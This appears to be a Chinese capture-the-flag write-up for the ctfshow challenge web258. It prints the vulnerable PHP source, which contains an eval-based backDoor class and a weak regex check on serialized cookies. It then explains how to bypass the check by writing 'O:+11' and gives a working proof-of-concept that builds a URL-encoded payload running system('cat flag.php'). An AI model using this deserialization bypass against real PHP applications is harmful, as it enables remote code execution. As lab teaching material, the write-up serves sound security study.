web258 正则

PHP/5.6.40正则绕过

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';
    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

分析：
绕过正则 /[oc]:\d+:/i , 其实就是 C:数字 或 O:数字 不连续，这里只需让 O:11 不连续即可，比如 O:+11

poc

<?php
class ctfShowUser{
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    public $code = 'system("cat flag.php");';
}
$user = new ctfShowUser();
$user_replace = preg_replace('/([oc]\:)(\d+)/i', '$1+$2', serialize($user));
echo urlencode($user_replace);
?>

图中 %2b 为 + 的 url编码